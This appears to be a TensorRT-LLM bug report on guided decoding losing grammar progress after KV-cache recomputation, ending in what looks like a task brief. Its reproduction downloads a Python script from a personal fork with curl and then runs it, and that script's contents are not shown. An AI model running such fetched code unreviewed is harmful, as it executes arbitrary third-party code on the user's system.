[Bug]: Guided decoding restarts its grammar after KV-cache recomputation

System Info

• TensorRT-LLM 1.3.0rc26.dev202609050001, source 17803f6c0cbe8d9fed3ccf46a295b867e3493d3e.
• The same matcher-history omission remains in main 3fed8e7103e3c549c56a5053f286bdcff9572706 and v1.3.0rc25; Reproduced on the development revision above; main and v1.3.0rc25 were not executed.
• RTX 5070 Laptop, SM120, 8 GiB, driver 610.57.04; Linux x86_64.
• Python 3.12.3, PyTorch 2.12.0+cu130, FlashInfer 0.6.18, XGrammar 0.1.32, Transformers 5.5.4; CUDA 13.0.
• Environment and worker logs.

Information

• The official example scripts
• My own modified scripts

Tasks

• An officially supported task in the examples folder (such as GLUE/SQuAD, ...)
• My own task or dataset (give details below)

Reproduction

Guided decoding loses committed grammar progress when the MAX_UTILIZATION scheduler pauses a request for KV-cache recomputation.

Run the following script against the TensorRT-LLM version above:

curl -fL https://raw.githubusercontent.com/1sgtpepper/TensorRT-LLM/173a17d744f64d17f7aa62d07acab323e9f10c3a/.github/guided_worker.py -o guided_worker.py
export TLLM_WORKER_USE_SINGLE_PROCESS=1
export TLLM_DEBUG_MODE=1
python guided_worker.py --kv-tokens 512 --output ample.json
python guided_worker.py --kv-tokens 128 --output pressure.json

The script uses the public LLM API, a one-layer Llama with random weights, a local character tokenizer and two 95-token requests constrained to a{31}b{32}c{32}. It downloads no weights. Overlap and CUDA graphs are disabled; the real scheduler chooses when to pause.

Expected behavior

Both requests return 31 a tokens, 32 b tokens and 32 c tokens, including after recomputation.

actual behavior

With capacity 512, both outputs are correct and neither request pauses. With capacity 128, the scheduler pauses the second request after 64 committed tokens. It then emits 31 a tokens instead of the remaining 31 c tokens, failing with Real worker lost guided output progress.

additional notes

GuidedRequest.from_llm_request omits the committed output prefix when a matcher must be rebuilt. Replaying that prefix restores the correct continuation at the same 64-token pause. Restoring the old code restores identical incorrect token IDs.

The linked logs were recorded without TLLM_DEBUG_MODE=1; the reproduction commands enable it.

Before submitting a new issue...

• Make sure you already searched for relevant issues, and checked the documentation and examples for answers to frequently asked questions.

Start with guided_worker.py and GuidedRequest.from_llm_request, then trace the MAX_UTILIZATION scheduler path that pauses a request for KV-cache recomputation. Run the two reproduction commands with capacities 512 and 128; done means both requests preserve the expected 31 a, 32 b, and 32 c tokens after recomputation.